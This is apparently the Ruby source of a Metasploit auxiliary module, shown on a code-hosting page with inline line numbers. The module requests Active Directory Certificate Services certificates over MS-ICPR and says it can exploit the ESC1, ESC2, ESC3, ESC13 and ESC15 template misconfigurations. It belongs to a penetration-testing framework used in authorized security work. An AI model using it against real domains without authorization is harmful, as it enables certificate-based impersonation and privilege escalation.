Path: blob/master/modules/auxiliary/admin/dcerpc/icpr_cert.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb/dcerpc/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MsIcpr9include Msf::Exploit::Remote::SMB::Client::Authenticated10include Msf::Exploit::Remote::DCERPC11include Msf::Auxiliary::Report12include Msf::OptionalSession::SMB1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'ICPR Certificate Management',19'Description' => %q{20Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate21template's configuration the resulting certificate can be used for various operations such as authentication.22PFX certificate files that are saved are encrypted with a blank password.2324This module is capable of exploiting ESC1, ESC2, ESC3, ESC13 and ESC15.25},26'License' => MSF_LICENSE,27'Author' => [28'Will Schroeder', # original idea/research29'Lee Christensen', # original idea/research30'Oliver Lyak', # certipy implementation31'Spencer McIntyre'32],33'References' => [34[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],35[ 'URL', 'https://github.com/GhostPack/Certify' ],36[ 'URL', 'https://github.com/ly4k/Certipy' ]37],38'Notes' => {39'Reliability' => [],40'Stability' => [],41'SideEffects' => [ IOC_IN_LOGS ],42'AKA' => [ 'Certifry', 'Certipy' ]43},44'Actions' => [45[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]46],47'DefaultAction' => 'REQUEST_CERT'48)49)50end5152def run53send("action_#{action.name.downcase}")54rescue MsIcprConnectionError, SmbIpcConnectionError => e55fail_with(Failure::Unreachable, e.message)56rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e57fail_with(Failure::NoAccess, e.message)58rescue MsIcprNotFoundError => e59fail_with(Failure::NotFound, e.message)60rescue MsIcprUnexpectedReplyError => e61fail_with(Failure::UnexpectedReply, e.message)62rescue MsIcprUnknownError => e63fail_with(Failure::Unknown, e.message)64end6566def action_request_cert67with_ipc_tree do |opts|68request_certificate(opts)69end70end7172# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.73# @return [void]74def with_ipc_tree75opts = {}76if session77print_status("Using existing session #{session.sid}")78self.simple = session.simple_client79opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")80end8182yield opts83ensure84opts[:tree].disconnect! if opts[:tree]85end86end878889